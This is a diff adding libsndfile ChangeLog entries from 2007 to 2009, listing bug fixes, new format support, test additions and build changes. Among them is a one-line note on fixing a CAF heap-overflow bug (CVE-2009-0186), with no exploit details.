+    * programs/sndfile-info.c
+    Remove dead code.
+
+    * tests/test_wrapper.sh.in
+    Add 'set -e' so the script exits on error.
+
+    * src/test_ima_oki_adpcm.c
+    Fix read beyond end of array.
+
+    * tests/win32_test.c
+    Add missing close on file descriptor.
+
+    * src/nist.c programs/sndfile-metadata-set.c
+    Fix 'unused variable' warnings.
+
+    * src/aiff.c
+    Fix potential memory leak in handling of 'MARK' chunk.
+    Remove un-needed test (unsigned > 0).
+
+    * src/sd2.c
+    Improve handling of heap allocated buffer.
+
+    * src/sndfile.c
+    Remove un-needed test (always true).
+
+    * src/wav.c src/rf64.c
+    Ifdef out dead code that will be resurected some time in the future.
+
+    * src/wav.c src/w64.c src/xi.c
+    Handle error return values from psf_ftell.
+
+    * src/wav_w64.c
+    Fix handling and error checking of MSADPCM coefficient arrays.
+
+    * regtest/*.c
+    Bunch of fixes.
+
+    * src/test_file_io.c
+    Use snprintf instead of strncpy in test program.
+
+2009-02-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sd2.c
+    Validate data before using.
+
+    * src/caf.c
+    Validate channels per frame value before using, fixing a possible integer
+    overflow bug, leading to a possible heap overflow. Found by Alin Rad Pop of
+    Secunia Research (CVE-2009-0186).
+
+2009-02-20  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * Octave/octave_test.sh
+    Unset TERM environment variable and export LD_LIBRARY_PATH.
+
+2009-02-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/file_io.c
+    In windows code, cast LPVOID to 'char*' in printf.
+
+2009-02-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * M4/octave.m4
+    Clear the TERM environment before evaluating anything in Octave. This works
+    around problems that might occur if a users TERM settings are incorrect.
+    Thanks to Rob Til Freedmen for helping to debug this.
+
+    * src/wav.c
+    Handle four zero bytes as a marker within a LIST or INFO chunk.
+    Thanks to Rog\xE9rio Brito for supplying an example file.
+
+2009-02-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h src/*.c
+    Use C99 snprintf everywhere.
+
+2009-02-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/test_wrapper.sh.in
+    New file to act as the template for the test wrapper script.
+
+    * configure.ac
+    Generate tests/test_wrapper.sh from the template.
+
+    * tests/Makefile.am
+    Replace all tests with a single invocation of the test wrapper script.
+
+2009-02-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/ogg.c
+    Record vorbis library version string.
+
+    * configure.ac
+    Require libvorbis >= 1.2.2.
+
+    * M4/endian.m4
+    Fix bracketing of function for autoconf 2.63. Thanks to Richard Ash.
+
+    * M4/octave.m4 M4/mkoctfile_version.m4
+    Clean up AC_WITH_ARG usage using AC_HELP_STRING.
+
+2009-02-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * Octave/Makefile.am
+    Use $(top_buildir) instead of $(builddir) which may not be defined.
+
+    * M4/octave.m4
+    Improve logic and status reporting.
+
+2009-02-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac  AUTHORS NEWS README doc/*.html
+    Final tweaks for 1.0.18 release.
+
+2009-02-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * programs/sndfile-convert.c
+    Add 'htk' to the list of convert formats.
+
+    * programs/sndfile-info.c
+    Simplify get_signal_max using SFC_CALC_SIGNAL_MAX command.
+    Increase size of files for which signal max will be calculated.
+
+2009-01-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/index.html
+    Fix links for SoX and WavPlay. Thanks to Daniel Griscom.
+
+2009-01-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * programs/sndfile-metadata-get.c
+    Make valgrind clean.
+    Clean up temp string array usage.
+    Error out if trying to update coding history in RDWR mode.
+
+2009-01-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/index.html
+    Fix links to versions of the LGPL.
+
+2008-12-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/string_test.c
+    Add test for RDWR mode where the file ends up shorter than when it was
+    opened.
+
+    * src/wav.c
+    Truncate the file on close for RDWR mode where the file ends up shorter
+    than when it was opened.
+
+2008-11-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * M4/add_cflags.m4
+    Fix problem with quoting of '#include'.
+
+    * M4/add_cxxflags.m4 configure.ac
+    Add new file M4/add_cxxflags.m4 and use it in configure.ac.
+
+2008-11-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * programs/sndfile-info.c
+    Apply patch from Conrad Parker to calculate and display total duration when
+    more than one file is dumped.
+
+2008-11-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac src/Makefile.am
+    Tweaks to generation of Symbols files.
+
+    * tests/win32_ordinal_test.c
+    Update tests for above changes.
+
+2008-11-06  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * programs/common.c
+    When merging broadcast info, make sure to clear the destination field
+    before copying in the new data.
+
+    * programs/test-sndfile-metadata-set.py
+    Add test for the above.
+
+    * src/broadcast.c
+    Fix checking of required coding_history_size.
+
+2008-10-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/command_test.c
+    Add test to detect if coding history is truncated.
+
+    * src/broadcast.c
+    Fix truncation of coding history.
+
+2008-10-27  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/command_test.c
+    Add broadcast_coding_history_size test.
+
+    * programs/*.[ch]
+    Use SF_BROADCAST_INFO_VAR to manipulate larger 'bext' chunks.
+
+    * src/rf64.c
+    Add code to prevent infinite loop on malformed file.
+
+    * src/common.h src/sndfile.c src/w64.c src/wav_w64.c
+    Rationalize and improve error handling when parsing 'fmt ' chunk.
+
+    * M4/octave.m4
+    Simplify and remove cruft.
+    Check for correct Octave version.
+
+    * Octave/*
+    Reduce 3 C++ files to one, fix build for octave 3.0, fix build.
+
+    * Octave/sndfile.cc Octave/PKG_ADD
+    Add Octave function sfversion which returns the libsndfile version that the
+    module is linked against.
+
+    * Octave/Makefile.am
+    Bunch of build and 'make distcheck' fixes.
+
+2008-10-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * programs/common.c
+    Return 1 if SFC_SET_BROADCAST_INFO fails.
+
+    * programs/test-sndfile-metadata-set.py
+    Update for new programs directory, exit on any error.
+
+    * tests/error_test.c
+    Fix failure behaviour in error_number_test.
+
+    * src/common.h src/sndfile.c
+    Add error number SFE_BAD_BROADCAST_INFO_SIZE.
+
+    * src/*
+    Reimplement handling of broadcast extentioon chunk in WAV/WAVEX files.
+
+    * src/broadcast.c
+    Fix generation of added coding history.
+
+2008-10-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * programs/sndfile-metadata-get.c programs/sndfile-info.c
+    Exit with non-zero on errors.
+
+2008-10-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-to-text.c examples/Makefile.am
+    Add a new example program and hook it into the build.
+
+    * examples/ programs/
+    Add a new directory programs and move sndfile-info, sndfile-play and other
+    real programs to the new directory, leaving example programs where they
+    were.
+
+2008-10-20  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/Makefile.am
+    Automake 1.10 MinGW cross compiling fixes.
+
+2008-10-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-play.c
+    Remove call to deprecated function snd_pcm_sw_params_get_xfer_align.
+    Fix gcc-4.3 compiler warnings.
+
+    * tests/command_test.c
+    Fix a valgrind warning.
+
+    * tests/error_test.c tests/multi_file_test.c tests/peak_chunk_test.c
+        tests/pipe_test.tpl tests/stdio_test.c tests/win32_test.c
+    Fix gcc-4.3 compiler warnings.
+
+2008-10-17  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/broadcast.c
+    Fix termination of desitination string in strncpy_crlf.
+    When copying BROADCAST_INFO chunk, make sure destination gets correct line
+    endings.
+
+    * examples/common.c
+    Fix copying of BROADCAST_INFO coding_history field.
+
+2008-10-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/command_test.c
+    Add test function instrument_rw_test, but don't hook it into the testing
+    yet.
+
+    * src/common.h src/command.c src/sndfile.c src/flac.c
+    Error code rationalization.
+
+    * src/common.h src/sndfile.c
+    Set psf->error to SFE_CMD_HAS_DATA when adding metadata via sf_command()
+    fails due to psf->have_written being true.
+
+    * doc/command.html
+    Document the SFC_GET/SET_BROADCAST_INFO comamnds.
+
+2008-10-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/command_test.c
+    Improve error reporting when '\0' is found in coding history.
+    Fix false failure.
+
+2008-10-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/broadcast.c
+    Convert all coding history line endings to \r\n.
+
+    * tests/command_test.c
+    Add test to make sure all line endings are converted to \r\n.
+
+2008-10-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/broadcast.c
+    Changed the order of coding history fields.
+
+    * tests/command_test.c
+    Update bextch test to cope with previous change.
+
+    * examples/common.c
+    Add extra length check when copying broadcast info data.
+
+2008-10-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/utils.tpl tests/pcm_test.tpl
+    Update check_file_hash_or_die to use 64 bit hash.
+
+    * tests/checksum_test.c tests/Makefile.am
+    Add new checksum_test specifically for lossy compression of headerless
+    files.
+
+2008-10-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/gsm610.c
+    Seek to psf->dataoffset before decoding first block.
+
+    * src/sndfile.c
+    Fix detection of mpc2k files on big endian systems.
+
+2008-10-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/broadcast.c
+    Use '\r\n' newlines in Coding History as required by spec.
+
+2008-10-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/test_conversions.c
+    Use int64_t instead of 'long long'.
+
+2008-10-01  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-metadata-set.c
+    Remove --bext-coding-history-append command line option because it didn't
+    really make sense.
+
+    * examples/sndfile-metadata-(get|set).c
+    Add usage messages.
+
+    * examples/test-sndfile-metadata-set.py
+    Start work on test coding history.
+
+2008-09-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * README doc/win32.html
+    Bring these up to date.
+
+    * src/aiff.c
+    Fix parsing of REX files.
+
+2008-09-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/file_io.c
+    Use intptr_t instead of long for return value of _get_osfhandle.
+
+    * src/test_conversions.c src/test_endswap.tpl
+    Fix printing of int64_t values.
+
+    * examples/sndfile-play.c
+    Fix win64 issues.
+
+    * tests/win32_ordinal_test.c
+    Fix calling of GetProcAddress with ordinal under win64.
+
+    * tests/utils.tpl
+    Fix win64 issues.
+
+2008-09-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/*
+    Rename copy_data.[ch] to common.[ch]. Fix build.
+    Move code from sndfile-metadata-set.c to common.c.
+
+    * examples/Makefile.am tests/Makefile.am regtest/Makefile.am
+    Clean paths.
+
+2008-09-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/tutorial.html doc/Makefile.am
+    Add file doc/tutorial.html and hook into build/dist system.
+
+2008-09-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-metadata-set.c
+    Clean up handling of bext command line params.
+
+2008-09-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/w64.c
+    Add handling/skipping of a couple of new chunk types.
+
+2008-09-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac
+    Add -funsigned-char to CFLAGS if the compiler supports it.
+
+    * examples/sndfile-metadata-(get|set).c
+    Add handling for more metadata types.
+
+2008-09-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h
+    Add macros SF_CONTAINER, SF_CODEC and SF_ENDIAN useful for splitting format
+    field of SF_INFO into component parts.
+
+    * src/*.c
+    Use new macros everywhere it is appropriate.
+
+2008-09-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-bwf-set.c
+    Massive reworking.
+
+2008-08-24  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-bwf-set.c
+    Add --info-auto-create-date command line option.
+
+    * examples/sndfile-metadata-set.c examples/sndfile-metadata-get.c
+        examples/Makefile.am examples/test-sndfile-bwf-set.py
+    Rename sndfile-bwf-(set|get).c to sndfile-metadata-(set|get).c.
+    Change command line args.
+
+2008-08-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav.c
+    Allow 'PAD ' chunk to be modified in RDWR mode.
+
+    * src/sndfile.h.in src/sndfile.c
+    Add handling (incomplete) for SFC_SET_ADD_HEADER_PAD_CHUNK.
+
+    * tests/Makefile.am tests/write_read_test.tpl tests/header_test.tpl
+        tests/misc_test.c
+    Add tests for RF64.
+
+    * src/rf64.c
+    Fixes to make sure all tests pass.
+
+    * tests/Makefile.am tests/string_test.c
+    Add string tests (not yet passing).
+
+2008-08-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/rf64.c
+    First pass at writing RF64 now working.
+
+2008-08-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-convert.c
+    Add SF_FORMAT_RF64 to format_map.
+
+    * src/common.h src/sndfile.c
+    More RF64 support code.
+
+    * examples/sndfile-bwf-set.c
+    Fix the month number in autogenerated date string and use hypen in date
+    instead of slash.
+
+    * examples/test-sndfile-bwf-set.py
+    Update tests.
+
+    * examples/sndfile-info.c
+    When called with -i or -b option, operate on all files on command line, not
+    just the first.
+
+2008-08-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/rf64.c
+    New file to handle RF64 (WAV like format supportting > 4Gig files).
+
+    * src/sndfile.h.in src/common.h src/sndfile.c src/Makefile.am
+    Hook the above into build so hacking can begin.
+
+    * src/pcm.c
+    Improve log message when pcm_init fails.
+
+    * src/sndfile-info.c
+    Only calculate and print 'Signal Max' if file is less than 10 megabytes in
+    length.
+
+2008-08-18  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/string_test.c
+    Polish string_multi_set_test.
+
+    * src/wav.c
+    In RDWR mode, pad the header if necessary (ie LIST chunk has moved or
+    length has changed).
+    Minor fixes in wav_write_strings.
+    Write PAD chunk with default endian-ness, not a specific endian-ness.
+
+    * examples/test-sndfile-bwf-set.py
+    Add Python script to test sndfile-bwf-set/get.
+
+    * examples/sndfile-bwf-set.c
+    Clean up and fixes.
+
+    * src/wav.c
+    Merge function wavex_write_header into wav_write_header, deleting about 70
+    lines of code.
+
+    * src/common.h
+    Double value of SF_MAX_STRINGS.
+
+    * tests/string_test.c
+    Add string tests for WAVEX and RIFX files.
+
+    * tests/command_test.c
+    Add broadcast test for WAVEX files.
+
+2008-08-17  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/string_test.c
+    Add a new string_rdwr_test (currently failing for WAV).
+    Add a new string_multi_set_test (currently failing).
+
+    * tests/command_test.c
+    Add new broadcast_rdwr_test (currently failing).
+
+    * src/wav.c
+    Fix to WAV parser to allow 'bext' chunk to be updated in place.
+    In wav_write_tailer, seek to psf->dataend if its greater than zero.
+
+    * src/sndfile.c
+    Make sure psf->have_written gets set correctly in mode SFM_RDWR.
+
+    * configure.ac
+    Test for <sys/time.h> and gettimeofday.
+
+    * src/common.c
+    Use gettimeofday() to initialize psf_rand_int32.
+
+    * src/common.h src/sndfile.c
+    Add unique_id field to SF_PRIVATE struct.
+
+    * src/common.h src/sndfile.c src/wav.c src/wav_w64.[ch]
+    Move wavex_ambisonic field from SF_PRIVATE struct to WAV_PRIVATE struct.
+
+    * src/common.h src/strings.c
+    Add function psf_location_string_count.
+
+2008-08-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac
+    Test for localtime and localtime_r.
+
+    * examples/sndfile-convert.c
+    In function copy_metadata(), copy broadcast info if present.
+
+    * examples/copy_data.[ch] examples/Makefile.am
+    Break some functionality out of sndfile-convert.c so it can be used in
+    examples/sndfile-bwf-set.c.
+
+    * tests/utils.tpl
+    Add new function create_short_sndfile().
+
+    * examples/sndfile-bwf-set.c examples/sndfile-bwf-get.c
+        examples/Makefile.am
+    Add new files and hook into build.
+
+2008-08-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.h.in
+    Fix comments. Patch from Mark Glines.
+
+2008-07-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/misc_test.c
+    Use zero_data_test on Ogg/Vorbis files.
+
+    * src/ogg.c
+    Fix segfault when closing an Ogg/Vorbis file that has been opened for write
+    but had no actual data written to it. Bug reported by Chinoy Gupta.
+
+    * tests/Makefile.am
+    Make sure to run mist_test on Ogg/Vorbis files.
+
+2008-07-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * regtest/Makefile.am
+    Use SQLITE3_CFLAGS to locate sqlite headers.
+
+2008-07-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/index.html doc/FAQ.html
+    Add notes about which versions of windows libsndfile works on.
+
+2008-07-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/misc_test.c
+    Add a test for correct handling of Ambisonic files. Thanks to Fons
+    Adriaensen for the test.
+
+    * src/wav.c src/wav_w64.c
+    Fix handling of Ambisonic files. Thanks to Fons Adriaensen for the patch.
+
+2008-06-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac
+    Fix detection/enabling of external libs.
+
+    * M4/extra_pkg.m4 M4/Makefile.am
+    Add m4 macro PKG_CHECK_MOD_VERSION which is a hacked version
+    PKG_CHECK_MODULES. The new macro prints the version number of the package
+    it is searching for.
+
+2008-06-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Apply a fix from Axel Roebel where if the second loop in the instrument
+    chunk is none, the loop mode is written into the first loop.
+
+2008-05-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/test_float.c src/test_main.(c|h) src/Makefile.am
+    Add new file to test functions float32_(le|be)_(read|write) and
+    double64_(le|be)_(read|write). Hook into build and testsuite.
+
+    * src/double64.c src/float32.c
+    Fix bugs in functions found by test added above. Thanks to Nicolas Castagne
+    for reporting this bug.
+
+    * src/sndfile.h.in
+    Change time_reference_(low|high) entries of SF_BROADCAST_INFO struct to
+    unsigned.
+
+    * examples/sndfile-info.c
+    Print out the BEXT time reference in a sensible format.
+
+2008-05-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/*.c
+    Fuzz fixes.
+
+    * src/ogg.c
+    Add call to ogg_stream_clear to fix valgrind warning.
+
+    * src/aiff.c
+    Fix x86_64 compile issue.
+
+    * configure.ac src/Makefile.am src/flac.c src/ogg.c
+    Link to external versions of FLAC, Ogg and Vorbis.
+
+    * tests/lossy_comp_test.c tests/ogg_test.c tests/string_test.c
+        tests/vorbis_test.c tests/write_read_test.tpl
+    Fix tests when configured with --disable-external-libs.
+
+    * tests/external_libs_test.c tests/Makefile.am
+    Add new test and hook into build and test suite.
+
+    * src/command.c
+    Use HAVE_EXTERNAL_LIBS to ensure that the SFC_GET_FORMAT_* commands return
+    the right data when external libs are disabled.
+
+2008-05-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/write_read_test.tpl
+    Add a test for extending a file during write by seeking past the current
+    end of file.
+
+    * src/sndfile.c
+    Allow seeking past end of file during write.
+
+2008-05-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/api.html doc/command.html
+    Move all information about the sf_command function to command.html and add
+    a link from documentation of the sf_read/write_raw function to the
+    SFC_RAW_NEEDS_ENDSWAP command.
+
+    * doc/index.html doc/FAQ.html doc/libsndfile.css
+    Minor documentation tweaks.
+
+2008-05-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac
+    Add AM_PROG_CC_C_O.
+
+2008-04-27  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/error_test.c
+    Add a test to make sure if file opened with sf_open_fd, and then the file
+    descriptor is closed, then sf_close will return an error code. Thanks to
+    Dave Flogeras for the bug report.
+
+    * src/sndfile.c
+    Make sf_close return an error is the file descriptor is already closed.
+
+2008-04-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac
+    Set object format to aout for OS/2. Thanks to David Yeo.
+
+    * src/mpc2k.c src/sndfile.c src/sndfile.h.in src/common.h src/Makefile.am
+    Add ability to read MPC 2000 file.
+
+    * tests/write_read_test.tpl tests/misc_test.c tests/header_test.tpl
+        tests/Makefile.am
+    Add tests for MPC 2000 file format.
+
+    * examples/sndfile-convert.c
+    Allow conversion to MPC 2000 file format.
+
+2008-04-17  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/VORBIS/lib/codebook.c
+    Sync from upstream SVN.
+
+    * autogen.sh configure.ac
+    Minor tweaks.
+
+2008-04-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/ogg.c
+    Add a patch that fixes finding the length in samples of an Ogg/Vorbis file.
+    The patch as supplied segfaulted and required many hours of debugging.
+
+    * src/OGG/bitwise.c
+    Sync from upstream SVN.
+
+2008-04-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Fix up handling of 'APPL' chunk. Thanks to Axel Roebel for bringing up
+    this issue.
+
+2008-04-06  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/*.c
+    Add calls to sf_close() where needed.
+
+    * tests/utils.tpl tests/multi_file_test.c
+    Always pass 0 as the third argument to open when OS_IS_WIN32.
+
+2008-04-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/test_*
+    Add files test_main.[ch].
+    Collapse all tests into a single executable.
+
+2008-03-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC
+    Sync to upstream CVS.
+
+2008-03-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h
+    Make SF_MIN and SF_MAX macros MinGW friendly.
+
+    * examples/sndfile-(info|play).c
+    Use Sleep function from <windows.h> instead of _sleep.
+
+    * tests/locale_test.c
+    Disable some tests when OS_IS_WIN32.
+
+    * src/FLAC/src/share/replaygain_anal/replaygain_analysis.c
+        src/FLAC/src/share/utf8/utf8.c
+    MinGW fixes.
+
+2008-03-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/FAQ.html
+    Tweaks to pcm16 <-> float conversion answer.
+
+2008-02-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/OGG
+    Sync to SVN upstream.
+
+    * Makefile.am
+    Add 'DISTCHECK_CONFIGURE_FLAGS = --enable-gcc-werror'.
+
+2008-02-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-jackplay.c
+    Minor tweaks to warning message printed when compiled without libjack.
+
+2008-01-27  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/peak_chunk_test.c
+    Improve read_write_peak_test to find more errors. Inspired by example
+    provided by Nicolas Castagne.
+
+    * src/aiff.c
+    Another SFM_RDWR fix shown up by above test.
+
+2008-01-24  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Fix reading of COMM encoding string.
+
+    * src/chunk.c src/common.h src/Makefile.am
+    New file for storing and retrieving info about header chunks. Hook into
+    build.
+
+    * src/aiff.c
+    Use new chunk logging to fix problem with AIFF in RDWR mode.
+
+2008-01-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/command.c
+    Add WVE to the list of major formats.
+
+    * tests/aiff_rw_test.c
+    Fix error reporting.
+
+2008-01-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.[ch]
+    Add internal functions str_of_major_format, str_of_minor_format,
+    str_of_open_mode and str_of_endianness.
+
+    * tests/write_read_test.tpl
+    Fix reporting of errors in new_rdwr_XXXX_test.
+
+2008-01-20  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-play.c
+    Apply patch from Yair K. to fix compiles with OSS v4.
+
+    * src/common.h src/float32.c src/double64.c
+    Rename psf->float_enswap to psf->data_endswap.
+
+    * src/sndfile.h.in src/sndfile.c src/pcm.c
+    Add command SFC_RAW_NEEDS_ENDSWAP.
+
+    * tests/command.c
+    Add test for SFC_RAW_NEEDS_ENDSWAP.
+
+    * doc/command.html
+    Document SFC_RAW_NEEDS_ENDSWAP.
+
+    * tests/peak_chunk_test.c
+    Add test function read_write_peak_test. Thanks to Nicolas Castagne for the
+    bug report.
+
+2008-01-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-cmp.c
+    Add new example program contributed by Conrad Parker.
+
+    * examples/Makefile.am
+    Hook into build.
+
+    * doc/development.html
+    Change use or reconfigure.mk to autogen.sh.
+
+2008-01-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/win32_test.c
+    Add another win32 test.
+
+    * tests/util.tpl
+    Add function file_length_fd which wraps fstat.
+
+    * tests/Makefile.am
+    Run the multi_file_test on AU files.
+
+    * tests/multi_file_test.c
+    Use function file_length_fd() instead of file_length() to overcome stupid
+    win32 bug. Fscking hell Microsoft sucks so much.
+
+2008-01-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sd2.c
+    Fix a rsrc parsing bug. Example file supplied by Uli Franke.
+
+2007-12-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/index.html
+    Allow use of either LGPL v2.1 or LGPL v3.
+
+    * tests/header_test.tpl
+    Add header_shrink_test from Axel Roebel.
+
+    * src/wav.c
+    Add fix from Axel Roebel for writing files with float data but no peak
+    chunk (ie peak chunk gets removed after the file is opened).
+
+    * src/aiff.c tests/header_test.tpl
+    Apply similar fix to above for AIFF files.
+
+    * src/wav.c tests/header_test.tpl
+    Apply similar fix to above for WAVEX files.
+
+    * src/command.c
+    Add Ogg/Vorbis to 'get format' commands.
+
+2007-12-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/ogg.c
+    Fix seeking on multichannel Ogg Vorbis files. Reported by Bodo.
+    Set the default encoding quality to 0.4 instead of 4.0 (Bodo again).
+
+    * tests/ogg_test.c
+    Add stereo seek tests.
+
+2007-12-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/ogg_test.c
+    Add a test (currently failing) for stereo seeking on Ogg Vorbis files. Test
+    case supplied by Bodo.
+
+    * tests/utils.(def|tpl)
+    Add compare_XXX_or_die functions.
+
+2007-12-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Fix a bug where ignoring ssnd_fmt.offset and ssnd_fmt.blocksize caused
+    misaligned reading of 24 bit data. Thanks to Uli Franke for reporting this.
+
+2007-12-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/vox_adpcm.c src/ima_oki_adpcm.[ch] src/Makefile.am
+    Merge in code from the vox-patch branch. Thanks to Robs for the patch
+    which fixes a long standing bug in the VOX codec.
+
+2007-12-01  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-convert.c
+    Fix handling of -override-sample-rate=X option.
+
+2007-11-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/ogg.c src/VORBIS
+    Merge in Ogg Vorbis support from John ffitch of the Csound project.
+
+2007-11-24  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c
+    Recognise files with 'vox6' extension as 6kHz OKI VOX ADPCM files. Also
+    recognise 'vox8' as and 'vox' as 8kHz files.
+
+    * configure.ac
+    Detect libjack (JACK Audio Connect Kit).
+
+    * examples/sndfile-jackplay.c examples/Makefile.am
+    Add new example program to play sound files using the JACK audio server.
+    Thanks to Jonatan Liljedahl for allowing this to be included.
+
+2007-11-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/index.html
+    Update support table with SD2 and FLAC.
+
+2007-11-17  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c
+    Fix calculation of internal value psf->read_current when attempting to read
+    past end of audio data.
+    Remove redundant code.
+
+    * tests/lossy_comp_test.c
+    Add read_raw_test to check that raw reads do not go past the end of the
+    audio data section.
+    Clean up error output messages.
+
+    * src/sndfile.c
+    Add code to prevent sf_read_raw from reading past the end of the audio data.
+
+    * tests/Makefile.am
+    Add the wav_pcm lossy_comp_test.
+
+2007-11-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac src/Makefile.am src/create_symbols_file.py
+    More OS/2 fixes from David Yeo.
+
+2007-11-12  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/file_io.c tests/utils.tpl tests/benchmark.tpl
+    Improve handling of requirements for O_BINARY as suggested by Ed Schouten.
+
+2007-11-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h
+    Fix symbol class when SF_MIN is nested inside SF_MAX or vice versa.
+
